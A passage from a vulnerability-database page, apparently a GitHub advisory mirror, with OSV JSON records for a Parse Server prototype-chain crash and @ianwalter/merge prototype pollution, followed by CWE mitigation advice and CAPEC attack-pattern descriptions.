  "details": "### Impact\n\nRemote clients can crash the Parse Server process by calling a cloud function endpoint with a crafted function name that traverses the JavaScript prototype chain of a registered cloud function handler, causing a stack overflow.\n\n### Patches\n\nThe fix restricts property lookups during cloud function name resolution to own properties only, preventing prototype chain traversal from stored function handlers.\n\n### Workarounds\n\nThere is no known workaround.",
  "id": "GHSA-4263-jgmp-7pf4",
  "modified": "2026-03-19T21:12:40Z",
  "published": "2026-03-17T17:58:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-4263-jgmp-7pf4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32886"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/10210"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/10211"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Parse Server\u0027s Cloud function dispatch crashes server via prototype chain traversal"
}

GHSA-42M6-G935-5VMQ

Vulnerability from github – Published: 2022-07-26 00:01 – Updated: 2022-08-11 22:04
VLAI
Summary
@ianwalter/merge Prototype Pollution via `merge` function
Details

All versions of package @ianwalter/merge are vulnerable to Prototype Pollution via the main (merge) function. @ianwalter/merge is deprecated and the maintainer suggests using @generates/merger instead.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@ianwalter/merge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "9.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23397"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-26T19:37:36Z",
    "nvd_published_at": "2022-07-25T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "All versions of package @ianwalter/merge are vulnerable to Prototype Pollution via the main (`merge`) function. @ianwalter/merge is [deprecated](https://github.com/ianwalter/merge/blob/master/README.md) and the maintainer suggests using [@generates/merger](https://github.com/generates/generates/tree/main/packages/merger) instead.",
  "id": "GHSA-42m6-g935-5vmq",
  "modified": "2022-08-11T22:04:47Z",
  "published": "2022-07-26T00:01:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23397"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ianwalter/merge"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-IANWALTERMERGE-1311022"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@ianwalter/merge Prototype Pollution via `merge` function"
}

Mitigation
Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation
Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation
Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation
Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation
Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.